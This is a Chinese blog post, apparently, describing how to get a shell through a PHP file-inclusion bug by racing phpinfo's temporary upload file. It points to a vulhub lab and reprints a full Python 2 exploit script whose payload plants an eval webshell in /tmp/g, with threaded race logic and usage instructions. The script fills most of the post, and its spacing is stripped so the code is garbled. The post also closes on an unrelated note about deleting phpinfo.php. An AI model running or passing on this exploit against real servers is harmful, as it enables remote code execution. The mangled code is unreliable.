图片-小白之家
图片-小白之家
图片-小白之家
图片-小白之家

phpinfo(phpinfo是什么文件)

先讲一下利用phpinfo上传文件,然后在文件包含的原理:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),这个临时文件在请求结束后就会被删除,同时,phpinfo页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。

因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。

但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:

1)发送包含了webshell的上传数据包给phpinfo,这个数据包的header,get等位置一定要塞满垃圾数据;

2)phpinfo这时会将所有数据都打印出来,其中的垃圾数据会将phpinfo撑得非常大

3)PHP默认缓冲区大小是4096,即PHP每次返回4096个字节给socket连接

4)所以,我们直接操作原生socket,每次读取4096个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5)此时,第一个数据包的socket连接其实还没有结束,但是PHP还在继续每次输出4096个字节,所以临时文件还未被删除

6)我们可以利用这个时间差,成功包含临时文件,最后getshell
图片[1]-phpinfo(phpinfo是什么文件)-小白之家

环境搭建

https://github.com/vulhub/vulhub/tree/master/php/inclusion

搭建完成访问ip:8080/lfi.php?file=/etc/passwd就会读取文件和包含

要想利用成功,还得借助python脚本,根据这个原理,感觉就是利用脚本做条件竞争

https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py之后别的站存在这个漏洞,这个脚本需要修改些地方,比如文件名

复制代码

#!/usr/bin/python

importsys

importthreading

importsocket

defsetup(host,port):

TAG=”SecurityTest”

PAYLOAD=”””%s\r

<?phpfile_put_contents(‘/tmp/g’,'<?=eval($_REQUEST[1])?>’)?>\r”””%TAG

REQ1_DATA=”””—————————–7dbff1ded0714\r

Content-Disposition:form-data;name=”dummyname”;filename=”test.txt”\r

Content-Type:text/plain\r

\r

%s

—————————–7dbff1ded0714–\r”””%PAYLOAD

padding=”A”*5000

REQ1=”””POST/phpinfo.php?a=”””+padding+”””HTTP/1.1\r

Cookie:PHPSESSID=q249llvfromc1or39t6tvnun42;othercookie=”””+padding+”””\r

HTTP_ACCEPT:”””+padding+”””\r

HTTP_USER_AGENT:”””+padding+”””\r

HTTP_ACCEPT_LANGUAGE:”””+padding+”””\r

HTTP_PRAGMA:”””+padding+”””\r

Content-Type:multipart/form-data;boundary=—————————7dbff1ded0714\r

Content-Length:%s\r

Host:%s\r

\r

%s”””%(len(REQ1_DATA),host,REQ1_DATA)

#modifythistosuittheLFIscript

LFIREQ=”””GET/lfi.php?file=%sHTTP/1.1\r

User-Agent:Mozilla/4.0\r

Proxy-Connection:Keep-Alive\r

Host:%s\r

\r

\r

“””

return(REQ1,TAG,LFIREQ)

defphpInfoLFI(host,port,phpinforeq,offset,lfireq,tag):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((host,port))

s2.connect((host,port))

s.send(phpinforeq)

d=””

whilelen(d)<offset:

d+=s.recv(offset)

try:

i=d.index(“[tmp_name]=&gt;”)

fn=d[i+17:i+31]

exceptValueError:

returnNone

s2.send(lfireq%(fn,host))

d=s2.recv(4096)

s.close()

s2.close()

ifd.find(tag)!=-1:

returnfn

counter=0

classThreadWorker(threading.Thread):

def__init__(self,e,l,m,*args):

threading.Thread.__init__(self)

self.event=e

self.lock=l

self.maxattempts=m

self.args=args

defrun(self):

globalcounter

whilenotself.event.is_set():

withself.lock:

ifcounter>=self.maxattempts:

return

counter+=1

try:

x=phpInfoLFI(*self.args)

ifself.event.is_set():

break

ifx:

print”\nGotit!Shellcreatedin/tmp/g”

self.event.set()

exceptsocket.error:

return

defgetOffset(host,port,phpinforeq):

“””Getsoffsetoftmp_nameinthephpoutput”””

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((host,port))

s.send(phpinforeq)

d=””

whileTrue:

i=s.recv(4096)

d+=i

ifi==””:

break

#detectthefinalchunk

ifi.endswith(“0\r\n\r\n”):

break

s.close()

i=d.find(“[tmp_name]=&gt;”)

ifi==-1:

raiseValueError(“Nophptmp_nameinphpinfooutput”)

print”found%sat%i”%(d[i:i+10],i)

#paddedupabit

returni+256

defmain():

print”LFIWithPHPInfo()”

print”-=”*30

iflen(sys.argv)<2:

print”Usage:%shost[port][threads]”%sys.argv[0]

sys.exit(1)

try:

host=socket.gethostbyname(sys.argv[1])

exceptsocket.error,e:

print”Errorwithhostname%s:%s”%(sys.argv[1],e)

sys.exit(1)

port=80

try:

port=int(sys.argv[2])

exceptIndexError:

pass

exceptValueError,e:

print”Errorwithport%d:%s”%(sys.argv[2],e)

sys.exit(1)

poolsz=10

try:

poolsz=int(sys.argv[3])

exceptIndexError:

pass

exceptValueError,e:

print”Errorwithpoolsz%d:%s”%(sys.argv[3],e)

sys.exit(1)

print”Gettinginitialoffset…”,

reqphp,tag,reqlfi=setup(host,port)

offset=getOffset(host,port,reqphp)

sys.stdout.flush()

maxattempts=1000

e=threading.Event()

l=threading.Lock()

print”Spawningworkerpool(%d)…”%poolsz

sys.stdout.flush()

tp=[]

foriinrange(0,poolsz):

tp.append(ThreadWorker(e,l,maxattempts,host,port,reqphp,offset,reqlfi,tag))

fortintp:

t.start()

try:

whilenote.wait(1):

ife.is_set():

break

withl:

sys.stdout.write(“\r%4d/%4d”%(counter,maxattempts))

sys.stdout.flush()

ifcounter>=maxattempts:

break

print

ife.is_set():

print”Woot!\m/”

else:

print”:(”

exceptKeyboardInterrupt:

print”\nTellingthreadstoshutdown…”

e.set()

print”Shuttin’down…”

fortintp:

t.join()

if__name__==”__main__”:

main()

python2pythonexp.pyyour-ip8080100,phpinfo是什么文件,远程服务器,找到AppServ文件夹下的www(网站根目录)文件夹,删除phpinfo.php即可。

删除后,并不会为网站造成什么影响滴哦。

删除后,记得重启下apache。

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容

图片-小白之家
图片-小白之家